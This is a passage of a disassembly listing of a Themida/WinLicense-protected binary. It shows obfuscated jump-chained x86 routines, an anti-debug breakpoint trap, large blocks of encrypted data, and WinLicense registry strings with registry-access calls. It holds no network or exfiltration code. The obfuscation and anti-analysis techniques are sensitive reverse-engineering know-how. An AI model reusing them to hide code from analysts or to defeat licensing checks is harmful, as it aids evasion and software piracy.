add ecx, ebx
pop ebx
jmp loc_59AD63
; ---------------------------------------------------------------------------
loc_5AF3F9: ; CODE XREF: Themida_:0059F8A5j
sub edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_599EBE
; ---------------------------------------------------------------------------
loc_5AF415: ; CODE XREF: Themida_:005A0D22j
push edx
jmp loc_5A056D
; ---------------------------------------------------------------------------
loc_5AF41B: ; CODE XREF: Themida_:005A2247j
push 686034EBh
pop eax
inc eax
add eax, 4E4346ACh
xor eax, 8263043Dh
jmp loc_5A7C9C
; ---------------------------------------------------------------------------
loc_5AF431: ; CODE XREF: Themida_:005A90C1j
sub eax, 0B633FD8h
push esi
mov esi, 2E8E1468h
push ecx
mov ecx, 41547813h
xor ecx, 724531A5h
sub esi, ecx
pop ecx
add esi, 42F0440Fh
sub eax, esi
pop esi
jmp loc_598A3F
; ---------------------------------------------------------------------------
loc_5AF459: ; CODE XREF: Themida_:005A35CCj
push esp
pop ecx
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], edx
push esp
pop edx
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_59D73A
; ---------------------------------------------------------------------------
loc_5AF497: ; CODE XREF: Themida_:005AA364j
xchg bl, [esp+1]
pop ax
jmp loc_59D16C
; ---------------------------------------------------------------------------
loc_5AF4A2: ; CODE XREF: Themida_:005A6352j
mov esp, [esp]
shr eax, 10h
xor eax, ecx
push 585Ch
jmp loc_5A3350
; ---------------------------------------------------------------------------
loc_5AF4B4: ; CODE XREF: Themida_:005AA15Ej
pop ebp
sub esp, 4
jmp loc_5A7FB5
; ---------------------------------------------------------------------------
loc_5AF4C0: ; CODE XREF: Themida_:005A3259j
not dh
inc dh
jmp loc_59A979
; ---------------------------------------------------------------------------
loc_5AF4C9: ; CODE XREF: Themida_:0059D8D8j
push edi
mov edi, esp
jmp loc_5AB400
; ---------------------------------------------------------------------------
loc_5AF4D1: ; CODE XREF: Themida_:0059A3C6j
mov ebp, [esp]
jmp loc_5AA369
; ---------------------------------------------------------------------------
loc_5AF4D9: ; CODE XREF: Themida_:005AF303j
push 0FB0h
mov [esp], esi
push 1B175AFh
jmp loc_5A0C58
; ---------------------------------------------------------------------------
loc_5AF4EB: ; CODE XREF: Themida_:005A1857j
mov dx, [esp]
push 70FEh
mov [esp], eax
jmp loc_5AE6E3
; ---------------------------------------------------------------------------
loc_5AF4FC: ; CODE XREF: Themida_:005AB0E0j
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_5A304A
; ---------------------------------------------------------------------------
loc_5AF50E: ; CODE XREF: Themida_:005AD15Aj
add esp, 4
jmp loc_5AC9C4
; ---------------------------------------------------------------------------
loc_5AF519: ; CODE XREF: Themida_:005A4397j
push eax
mov al, cl
mov bh, al
pop eax
pop ecx
inc bh
jz loc_5AD73C
jmp loc_59CC55
; ---------------------------------------------------------------------------
loc_5AF52D: ; CODE XREF: Themida_:005990A4j
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_5A23C0
; ---------------------------------------------------------------------------
loc_5AF53C: ; CODE XREF: Themida_:005AD20Bj
sub edx, 35EE7308h
mov ebx, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AF54D: ; CODE XREF: Themida_:00599858j
push edx
mov edx, 442E49E6h
add edx, 42F90AA9h
add edx, 325B35D7h
shl edx, 8
dec edx
xor edx, 0A971776Ah
mov ecx, edx
pop edx
jmp loc_59EF18
; ---------------------------------------------------------------------------
loc_5AF571: ; CODE XREF: Themida_:005ABC63j
mov ebp, [esp]
add esp, 4
sub eax, ebp
sub eax, 5C007630h
pop ebp
jmp loc_598462
; ---------------------------------------------------------------------------
loc_5AF587: ; CODE XREF: Themida_:00599505j
add ebx, esi
jmp loc_5A48ED
; ---------------------------------------------------------------------------
loc_5AF58E: ; CODE XREF: Themida_:005AF0ACj
not ch
jmp loc_5A430A
; ---------------------------------------------------------------------------
loc_5AF595: ; CODE XREF: Themida_:00589FA2j
call near ptr loc_5AF5A3+1
int 3 ; Trap to Debugger
outsb
xchg eax, esp
push ebx
push ds
adc [esi], dl
mov dl, 23h
loc_5AF5A3: ; CODE XREF: Themida_:loc_5AF595p
sub [ecx-40A3780Dh], eax
xor bl, [edx+56h]
jmp loc_5AF5C1
; ---------------------------------------------------------------------------
db 16h, 0ABh, 0E6h
dd 3A6BB97Ah, 197E4175h, 5004EDB1h
db 67h
; ---------------------------------------------------------------------------
loc_5AF5C1: ; CODE XREF: Themida_:005AF5ACj
pop eax
add edx, 6750h
or ebx, [ebp+7E42569h]
xor esi, esi
jmp loc_5AF5DE
; ---------------------------------------------------------------------------
db 0A2h, 30h, 86h
dd 93E091CEh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 1Ah
; ---------------------------------------------------------------------------
loc_5AF5DE: ; CODE XREF: Themida_:005AF5D0j
; Themida_:005AF65Aj
push dword ptr [esi+edx]
jmp loc_5AF5FA
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 46h
dd 0B4195B80h, 0C64621E8h, 0A18F149Ch, 0C4D34EDh
db 5Dh, 1Ah
; ---------------------------------------------------------------------------
loc_5AF5FA: ; CODE XREF: Themida_:005AF5E1j
pop edi
mov ebx, [ebp+7E40041h]
xor edi, 72A6E77Eh
mov eax, [ebp+7E4183Dh]
add edi, 3A8819EAh
jmp loc_5AF61E
; ---------------------------------------------------------------------------
dd 0C8219241h
db 18h, 5
; ---------------------------------------------------------------------------
loc_5AF61E: ; CODE XREF: Themida_:005AF613j
xor edi, 0F838136h
mov ax, 130Ah
mov [edx+esi], edi
push eax
sub eax, [ebp+7E415B1h]
pop ecx
sub [ebp+7E41F95h], ebx
sub esi, 3
xor [ebp+7E405F9h], ebx
dec esi
jmp loc_5AF654
; ---------------------------------------------------------------------------
dd 8395C814h, 42FA809Fh, 8B07218Bh
; ---------------------------------------------------------------------------
loc_5AF654: ; CODE XREF: Themida_:005AF643j
cmp esi, 0FFFF9974h
jnz loc_5AF5DE
mov ah, 68h
jmp loc_5AF6C9
; ---------------------------------------------------------------------------
db 0F8h
dd 551489D7h, 33524553h, 6C642E32h, 4441006Ch, 49504156h
dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 207D800h
dd 19000100h, 2B001000h, 32001D00h, 1, 0Ah dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5AF6C9: ; CODE XREF: Themida_:005AF662j
jmp loc_5AFFF7
; ---------------------------------------------------------------------------
push 7E6D349h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E6D3B8h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E6D4FFh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E6D661h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E6D6EEh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E6D808h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E6D87Ch
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h, 0D064805Bh
dd 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h, 8B3BEE82h
dd 0A472690Eh, 11A0E513h, 0B84C445h, 8D653A3h, 0D713A68Ch
dd 0B5415F39h, 0EA85BDDBh, 4E89F9D8h, 0AED159D1h, 16212A83h
dd 0CA7CCD8Ch, 5DAD018Eh, 68805DFBh, 0FC2E06FDh, 0F774D4F5h
dd 0F5FC2E00h, 0FA0C65CEh, 2F419F1Ch, 0AF0FF218h, 0E0304D32h
dd 14A009FDh, 48E31B3Bh, 0AFE0B7EFh, 3611AFFFh, 0AD2A081Ah
dd 0FA040B0Eh, 41A3F35Ch, 76AEC6A3h, 0D2AFC9DBh, 331026BAh
dd 0A8AA8714h, 0C29E1B81h, 7CD570A8h, 89DA581Ch, 6EC7D4B5h
dd 76D9511Ah, 38BEFE80h, 766h, 11A5C79Fh, 6E0222FBh, 0CE627C58h
dd 31C5D9B8h, 9024401Bh, 3D1831B7h, 9D778D21h, 0F7D5EB7Fh
dd 5A374DE1h, 4BFBAE42h, 0A47329CEh, 0D160A513h, 29617956h
dd 21713D52h, 2A4621BFh, 4C4557F2h, 13A47153h, 0E44696FFh
dd 0F2526846h, 9B062C29h, 7B95A729h, 9937879Dh, 6F91A3BDh
dd 2D657B59h, 166A825Fh, 6A16DF5Fh, 0F73EC404h, 0E000006h
dd 6A801436h, 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh
dd 90AC87C0h, 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh
dd 13A47346h, 5640CF14h, 5B296179h, 0EA2E667Eh, 0F7188AECh
dd 0EF182035h, 6916ED58h, 5BC41442h, 0C4F8AC49h, 0E05B543Bh
dd 2E6EB5Dh, 3345C9B5h, 79B1CBA7h, 672DCCDEh, 4D000000h
dd 0A8BAD2AFh, 617956D3h, 7A55F3CDh, 77774C5Eh, 1442A084h
dd 861A320Fh, 1A300EACh, 4AAE508h, 0D2F337B4h, 51C113A6h
dd 1EFB908Ch, 7FEDA606h, 0F290E039h, 0D5EFCB14h, 0E98E0B9Dh
dd 6513A67Dh, 0FA4AA3FCh, 31697D5Ch, 4C628496h, 6A08586Eh
dd 9E397191h, 3740C68Ch, 0C6000006h, 7D10E764h, 55BE13A6h
dd 79566E43h, 3D522961h, 3AA42171h, 5813A6BDh, 25019FEFh
dd 2638D30Bh, 0F911EE04h, 65494665h, 899C7715h, 0A6BE770Ch
dd 217AE313h, 5E3C4EE9h, 406FF5E1h, 0E6369F14h, 968BE174h
dd 0CB669EBCh, 0E754116Bh, 7B59F7D5h, 3D0AF16Eh, 58C81B88h
dd 9A6121B8h, 0B3035C19h, 88E04136h, 4BA40D1Bh, 0ADC3A1B7h
dd 97E2BF5Dh, 0CB669EBEh, 0CC9A6072h, 0FC83D7EFh, 7B6232D6h
dd 5B0B53Bh, 7D550000h, 0D8B1C75Bh, 320E24B8h, 8F6E8418h
dd 0F6D1E77Bh, 876D46DAh, 43D7F3CEh, 0A135532Dh, 397AD8Bh
dd 64F810EDh, 0FF8401B1h, 5B13A474h, 79568716h, 7E5B2961h
dd 86602E66h, 0E8415735h, 0EF03E2B0h, 0AED653B7h, 6323E0E2h
dd 42A26F1Dh, 8560FE14h, 2B963169h, 1442A254h, 0CC499902h
dd 1442A237h, 94E13AA3h, 0E05C0F6Ah, 0FFFEBE69h, 0F49292FFh
dd 9472FE18h, 75526C7Eh, 2193255Dh, 0CC2DA9F2h, 0CDB22FF4h
dd 89144217h, 92B5C720h, 0E461B1FDh, 13A61AFAh, 81CFB99h
dd 5EAE17F6h, 65F87FFCh, 0ED5613A6h, 0F59AB9DBh, 6EC69B9h
dd 0D5144245h, 30425A37h, 3B0E851h, 1B8A4579h, 0D487BFD0h
dd 19E78862h, 52ED253Bh, 0C4D0E0F2h, 7E00BD64h, 4A5C6560h
dd 93BB906Fh, 1B545D0h, 456E0000h, 0A30B84C4h, 8C08D653h
dd 75D713A6h, 0A68C03F8h, 0A1B59413h, 147DCE69h, 0B1BA2302h
dd 2F4523C1h, 90B2241Dh, 0F39CCA7Ch, 90EE6BBBh, 5EF218E8h
dd 2907A5F5h, 2CD81B0Ch, 0E43D54E5h, 39FF11ACh, 31812D62h
dd 3BAD52CFh, 0C029FDE0h, 7453D0AEh, 2FA0400h, 0CEAB4999h
dd 548CA883h, 0AE1060B9h, 0C4774A31h, 4F9F08E5h, 0C4772DD2h
dd 2E40A9E5h, 119F60Ch, 763FDCADh, 0E96FAF80h, 44Eh, 29BDDFB7h
dd 861A3A13h, 0E67A9470h, 49DDF1D0h, 0A83C5833h, 553029CFh
dd 0B58FA539h, 0FED0397h, 724F65F9h, 6313C65Ah, 0A47611E6h
dd 0E978BD13h, 1C6C424Dh, 798B9F7Eh, 5AD7399Bh, 1442A0A5h
dd 0C6FE1CF6h, 0FD7ADA2Bh, 1442A006h, 86126BD4h, 0BB568EACh
dd 7137B0A9h, 0DE7C13A4h, 1996E604h, 13A47262h, 967587F0h
dd 663FDD2Dh, 0B8563446h, 82B1BDDAh, 0EA41A224h, 9E7FD91h
dd 10EDBBF3h, 16EFA4F8h, 70B06A17h, 3C1EAh, 4A6C4400h
dd 0A7C7A0B6h, 721FD13h, 6A7E5D73h, 0C9E5C0D6h, 0BD965C35h
dd 1C32C6E2h, 7A902442h, 0DCF2869Ch, 0A053E7FFh, 768C73F0h
dd 54A13A4h, 0DB209276h, 0EA031491h, 22FF192Bh, 2704D20Ah
dd 2C09D70Fh, 8D3ADC14h, 1A43FAB5h, 0B6CEAB37h, 6A1A9D7Eh
dd 44CDB22Fh, 20891442h, 65C7C5C7h, 424413E8h, 656BF14h
dd 4244F289h, 0E5F76014h, 0B4421C48h, 1A144246h, 14EB68CAh
dd 0C2144246h, 926C4759h, 41E05B2Bh, 0FFFFFCB3h, 6179566Ah
dd 713D5229h, 0A31AAF21h, 0BEACDC71h, 0FB51CEACh, 7913A6E6h
dd 92AB7C10h, 0C4FC1AF4h, 0B8EC1729h, 0F5456926h, 0B284DF83h
dd 0B95CBCD6h, 815F71B7h, 0A6BE5604h, 929B0413h, 0F2704A2h
dd 312A3CD7h, 0BBB18D54h, 0EDC6B5DAh, 0A1FA95CDh, 70B6D451h
dd 0DB44BC5Dh, 0EBC3CCA3h, 523FD9Bh, 422032CDh, 7949E6C5h
dd 971474A4h, 0AB86ADE0h, 38B5056Eh, 0AB86AD43h, 0FD4DA60Fh
dd 0D66A825Fh, 77CBE3C0h, 0B2390A26h, 0A7C74D8Dh, 5E000002h
dd 0BAD06486h, 172DC1E1h, 778D213Bh, 0DAF08498h, 764FE3FFh
dd 0E0FCD770h, 3E5C364Ch, 0A0B694AAh, 119F60Ch, 8D0ABA6Dh
dd 13A478F6h, 4D901F64h, 0BA1C6C42h, 4C11C348h, 8D9F1707h
dd 0A4D8E994h, 8B086A13h, 13A5DCF4h, 8E7F962h, 0D3B14F9Fh
dd 351329BDh, 5731CF1Fh, 6660139h, 0AB959990h, 0FDC3D5C4h
dd 0E63A522Fh, 6A15BEC1h, 3340C606h, 0D2000002h, 2E44D8FAh
dd 8BA13555h, 0EB0195AFh, 4E64F80Ch, 0EAC35773h, 54704B04h
dd 0B2D0AAC0h, 142A081Eh, 758D6A80h, 17E2EE1h, 13A4787Ah
dd 4D0493D8h, 0BA1C6C42h, 8279F658h, 501442A0h, 0A0877CE7h
dd 0EA531442h, 0BF38Ah, 0ECFE20FEh, 0A4DB0AF3h, 0F5FC813h
dd 437B9571h, 1AB896A8h, 7291253Dh, 0C23F8F1Fh, 13A5DB37h
dd 122806A4h, 68B82100h, 99D1F1CAh, 5826ECFEh, 9D29617Dh
dd 0ACFC18F3h, 719310Eh, 0E3CBC6E5h, 0A31E2193h, 0D737512Dh
dd 0FA0CE95Eh, 29D09F1Ch, 1D7F13A5h, 0A529DBA0h, 0FC0E7713h
dd 0BB40BD1Dh, 1713A529h, 2D4522AEh, 0F1CE9CD4h, 9D0FA1D9h
dd 3CCDF99h, 0B1899B0Bh, 7E122A07h, 3B738B68h, 61C6F15Ch
dd 125D3A25h, 48E31B37h, 68455BEFh, 6F4A1850h, 57910353h
dd 0CABD72B5h, 0FBC98FA1h, 0FDCB0321h, 90CF0721h, 0D9D59DC9h
dd 0CE95410h, 2706A4F4h, 5DF0113h, 8A5126A3h, 94FD13A5h
dd 718D6882h, 0C4F35A39h, 5D38275Fh, 0BC97AD41h, 74D668A0h
dd 0A58A00F7h, 5365CE13h, 0D455B39h, 58C77F56h, 0B7CD617Dh
dd 0DD8AC2DAh, 0ABD6ED64h, 104BFBD2h, 0B5DB809Eh, 7F911A27h
dd 0DC708865h, 99D1E9C6h, 6C33A507h, 7855CB7Ah, 5EFB80EBh
dd 0EE57D418h, 326A8862h, 906B8597h, 0AB22474h, 0CD2267DCh
dd 0AF6390F0h, 2982317Ch, 70ED5117h, 546C4934h, 6E8C6604h
dd 67899B36h, 245C7451h, 1C6C424Dh, 0FC8BC99Fh, 0A92688D3h
dd 0DC7C8BD2h, 26051780h, 0DD4F29BDh, 5DEEB83Bh, 4273940h
dd 71D3238Bh, 7C6A0FF4h, 5062CBDCh, 0BBD6F572h, 3BA4DB9Ah
dd 49583503h, 673C37CCh, 2B07A3C4h, 0E53ED911h, 5DDA3C8Ch
dd 0C4673CA6h, 0A1BD9834h, 6375CE69h, 0EEC96741h, 0C9A6C0D2h
dd 1ACC79B1h, 0F7D70830h, 7653CA7Ah, 0D7B4CA5Eh, 77980EB8h
dd 0CF28563Ah, 0D6EAC997h, 5410E79Eh, 60F40CE9h, 5556D4Ah
dd 7E094F93h, 0D6127A01h, 0F6FD8F7h, 1E9B7174h, 0F7D6F059h
dd 0A7338CF5h, 0DF7AB2CAh, 38107CDh, 10000000h, 7E563E8Dh
dd 7956245Ch, 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch
dd 8A69376Fh, 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h
dd 53000000h, 4BBh, 5BD82900h, 5C240487h, 81E78957h, 4C7h
dd 4EF8100h, 87000000h, 895C243Ch, 89502404h, 405E0h, 0E8830000h
dd 24048704h, 240C895Ch, 0E6D28968h, 24048B07h, 6804C483h
dd 4140h, 83242489h, 59042404h, 89C78957h, 3C8B0879h, 4C48324h
dd 56240C8Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h, 89572404h
dd 4C781E7h, 83000000h, 3C8704C7h, 9CE95C24h, 59FFFDA2h
dd 7AC70D40h, 0E80D1360h
db 0C0h, 94h, 5Dh
; ---------------------------------------------------------------------------
loc_5AFFF7: ; CODE XREF: Themida_:loc_5AF6C9j
mov eax, 7E6DAD4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
sub al, 71h
push edx
inc esp
popa
pop esp
db 65h, 3Eh
retf
; ---------------------------------------------------------------------------
db 77h, 5Eh, 17h
dd 40A5DE7h, 48E26Ch, 5CB4A75Ah, 2E765453h, 50A61644h
dd 479B8401h, 6D228A16h, 1D724AF1h, 5D6E99F5h, 1D2C5FA7h
dd 2F780FC1h, 208115C9h, 4904DA2Eh, 24EE9497h, 3D53A836h
dd 45EB1AAh, 1E3CB047h, 0D17FD53h, 60A87123h, 17AE9A58h
dd 8CE9h, 0BD836000h, 7E41289h, 5840F00h, 0E9000000h, 77h
dd 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h
dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h
dd 0F203E80h
dword_5B00C0 dd 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h, 8D000000h
; DATA XREF: Themida_:00583EC0o
dd 0E430C185h, 90509007h, 6A965096h, 6195FF00h, 6107E421h
dd 2D85C6C3h, 4D07E42Ch, 0B4C00768h, 24048134h, 6F80B6A1h
dd 1DE1B5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E42161h
dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
dd 5C5C0044h, 544E5C2Eh, 454349h, 0E681C08Bh, 4FE587D4h
dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h
dd 0FB8C08Bh, 89000004h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h
dd 83585BD3h, 0E40935BDh, 17740007h, 0FB85350h, 89000004h
dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 80585BD3h, 81668CF5h
dd 8BDD10D2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0BDC4C506h, 0B58BF167h, 7E42FDDh
dd 2C2D85C6h, 0E94307E4h, 0Ch, 61CB1B49h, 9C001A28h, 9E9B184Eh
dd 0E8D0BF0Fh, 4, 0BC8E6EFCh, 22B96650h, 24448B93h, 0DF27BA04h
dd 8B2374h, 89CA8B66h, 66042444h, 8958D68Bh, 0E4155D85h
dd 9DB5FF07h, 6A07E401h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 5F05C350h, 3BDC858Dh
dd 0B58907E4h, 7E41851h, 1E3D9529h, 0D0FF07E4h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A2C35545h, 29DBD2Bh
dd 9D8907E4h, 7E40401h, 8E8CBA90h, 8B5000A3h, 6A90D6h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 9EE147C3h, 8166006Ah, 0E86861C6h, 4, 80h, 840F50h, 8B000000h
dd 0E9042444h, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh
dd 0FE8008Bh, 0C0000000h, 9F8C5D36h, 937E7B53h, 412C6C41h
dd 5050CA57h, 5A310F52h, 89595F58h, 57042444h, 12E9h, 63D86C00h
dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 5FA3EE17h, 4DBD3358h
dd 8B07E431h, 0E40A1D95h, 60036A07h, 1FFDBD8Bh, 0D78B07E4h
dd 0B5006A61h, 6A036ADEh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 1628C352h, 9D89723Ah
dd 7E426F9h, 2DBE4B68h, 243481A4h, 642DBE4Bh, 3D57BA66h
dd 0DC8B9D8Dh, 953107E6h, 7E42C4Dh, 13E993h, 20E30000h
dd 0CC5412BBh, 74E656Fh, 0D89853EEh, 6FC2E8FFh, 6660503Bh
dd 579431B9h, 61585E52h, 0DE993h, 3A2A0000h, 3A66391Eh
dd 0FC5D66A2h, 299F3790h, 0E40FA99Dh, 66D0FF07h, 40CB13BFh
dd 2B1850Fh, 13E90000h, 0F9000000h, 0D21F5C18h, 81BEE0C6h
dd 0E743F1Ah, 306D7C49h, 0BE58001Bh, 2943108Fh, 0E8505190h
dd 0Fh, 2C6653DCh, 0FDEC8EE3h, 45CD2C38h, 59281797h, 56505F5Eh
dd 66FE8B60h, 5E61C88Bh, 39BD8990h, 6A07E42Bh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 8C690231h, 539C934Bh, 85894526h, 7E41E11h, 78DFBC68h
dd 8870FA6h, 0F000000h, 281h, 81B7B500h, 20C42404h, 0C5805987h
dd 6A036AFDh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0C812C353h, 53E6F253h, 0BF575C50h
dd 1F19B531h, 6A07E4h, 95858960h, 2307E42Dh, 0E403B185h
dd 13E86107h, 17000000h, 2D359E9h, 3D97BBC3h, 8A7CB036h
dd 6BAA491h, 0BE99F42h, 10000000h, 6F1D5A7Eh, 0E003C70Ch
dd 6A5F94D5h, 42BE6603h, 74D5680Bh, 800FA61Fh, 0
dd 0D5243481h, 9661F74h, 0E41CFD8Dh, 949D8D07h, 8107E6DCh
dd 834DD7EAh, 10E89315h, 4E000000h, 0BF724BEDh, 0C21AE6Ah
dd 0F53FA171h, 0F08E885h, 683h, 0F525000h, 59585A31h, 0D6809350h
dd 89D0FFE7h, 0E41FF5B5h, 48E0F07h, 66000000h, 4088D2BFh
dd 14D850Fh, 0BA580000h, 47A06E26h, 52505090h, 5E8h, 68633C00h
dd 0F591DF7h, 0AE931h, 0A7CA0000h, 0D04EE4ECh, 6B3BF6B0h
dd 505F585Ah, 0DC461FBEh, 6A9033h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0B4C3D5C3h, 0F7B741Ah
dd 681h, 89853100h, 6A07E403h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BC64727h
dd 7AA668D7h, 34815C3Eh, 3E7A2624h, 25BD8B5Ch, 6A07E420h
dd 0A52EBE03h, 6A7D92h, 89036AFCh, 0E41C4D95h, 71106807h
dd 50BF5A8Fh, 813FD562h, 8EF02404h, 8D236570h, 7E40401h
dd 0DC9F9D8Dh, 0BD8907E6h, 7E40E59h, 840F5393h, 6, 310F5250h
dd 505F585Ah, 66525057h, 0F5E14BFh, 5A5A5731h, 6A935F58h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 4C86C352h, 0CC0F2077h, 8AD843D8h, 0F0B70FD7h
dd 11E9D0FFh, 7B000000h, 73F8D721h, 18FFC8AEh, 595365B2h
dd 59694915h, 20850F40h, 60000000h, 15D1858Bh, 953107E4h
dd 7E409A5h, 618D8B61h, 5807E423h, 152E9h, 0FD8D0100h
dd 8B07E409h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0D1C1DF1Bh, 6FD0733Ah, 0C0BA664Bh
dd 6A585Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 60D229C3h, 0C3AC2D3Bh, 2C2D85C6h, 8B4307E4h
dd 0E4002595h, 0BC086807h, 0FE8CAC0h, 1000000h, 0B063842Ch
dd 75FE2723h, 57C8762Dh, 52500BBBh, 0C414BA66h, 8B66310Fh
dd 5A585AF0h, 0AF243481h, 600AB6F6h, 14DD9589h, 860F07E4h
dd 6, 19B5BD8Bh, 0FF6107E4h, 0E4019DB5h, 7E907h, 5CFA0000h
dd 43F9DB61h, 0DC858D8Bh, 2907E43Bh, 0E422418Dh, 6AD0FF07h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 7199C350h, 93A6E404h, 38E0Fh, 8B660000h
dd 29B250F9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 1A732439h, 8E95759h, 15000000h, 0F3275EFBh
dd 5F2D1F9Dh, 7333CE81h, 0D0FF266Eh, 2B35B529h, 9D8D07E4h
dd 7E472B7h, 88D0Fh, 880F0000h, 2, 1B88CB5h, 8B000000h
dd 0FFF18AF1h, 11B58BE3h, 8B07E40Ah, 0C08BF5C1h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5CC35040h, 32D4162Ah
dd 0C9604BBh, 0D6C281FCh, 837567C9h, 0E413F1BDh, 9750007h
dd 935BD83h, 740007E4h, 8B535019h, 40FB8C0h, 85890000h
dd 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h
dd 50177400h, 40FB853h, 85890000h, 7E40EEDh, 0E6F89D8Dh
dd 0D3FF07E6h, 9503585Bh, 7E41EF9h, 9159D89h, 8D8B07E4h
dd 7E41CFDh, 10E8C08Bh, 0E5000000h, 0FE6AAF83h, 8CF035C2h
dd 2B74CA20h, 8ABB048Eh, 12E95FC1h, 39000000h, 1C479D2Bh
dd 8102D994h, 897B9476h, 2B551838h, 0ECC781C9h, 8B000071h
dd 1C47BAF0h, 8D310000h, 7E41A35h, 8D8B37FFh, 7E4218Dh
dd 850F505Bh, 6, 25D98D8Bh, 815907E4h, 73EE08C3h, 12E93Fh
dd 9F050000h, 92163012h, 0C2979A10h, 0DFA00514h, 0E762B7Ch
dd 0ADFCF381h, 0EA8A7E8Bh, 40EDEB81h, 0C18B0BEFh, 0BD891F89h
dd 7E42489h, 0F04EF83h, 48Eh, 0BBE6600h, 1EA8354h, 25850Fh
dd 9E90000h, 73000000h, 2C57A32Ah, 8F6AD602h, 22E9h, 8A53C000h
dd 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 896B2314h, 0E405F9BDh
dd 0FF6EE907h, 0BBA4FFFFh
; ---------------------------------------------------------------------------
xchg dl, bh
inc edi
loc_5B08FF: ; DATA XREF: Themida_:00584914o
jmp loc_5B09AE
; ---------------------------------------------------------------------------
aSoftwareWinlic db 'Software\WinLicense',0
aCheckin db 'CheckIN',0
aXprotexit db 'XprotExit',0
aCheckout db 'CheckOUT',0
aWinlicensevers db 'WinLicenseVersion',0
aWinlicensedriv db 'WinLicenseDriverVersion',0
aWinlicenseinst db 'WinLicenseInstance',0
aExitok db 'ExitOk',0
aProcin db 'ProcIN',0
aProcout db 'ProcOUT',0
aExitin db 'ExitIN',0
aExitout db 'ExitOUT',0
aTpin db 'TpIN',0
align 4
dd 2 dup(0)
dd 0B9080000h, 0D5BB77DEh
db 0DFh, 77h
; ---------------------------------------------------------------------------
loc_5B09AE: ; CODE XREF: Themida_:loc_5B08FFj
jmp loc_5B0F49
; ---------------------------------------------------------------------------
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 19h
push dword ptr [ebp+7E6E513h]
push 1
push 0
lea eax, [ebp+7E6E4A8h]
push eax
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42565h]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E6E51Bh]
push dword ptr [ebp+7E6E50Fh]
call dword ptr [ebp+7E42135h]
retn
; ---------------------------------------------------------------------------
mov [ebp+7E6E513h], eax
lea eax, [ebp+7E6E50Fh]
push eax
lea eax, [ebp+7E6E479h]
push eax
push 80000001h
call dword ptr [ebp+7E6E51Fh]
push 4
lea eax, [ebp+7E6E513h]
push eax
push 4
push 0
lea eax, [ebp+7E6E4D2h]
push eax
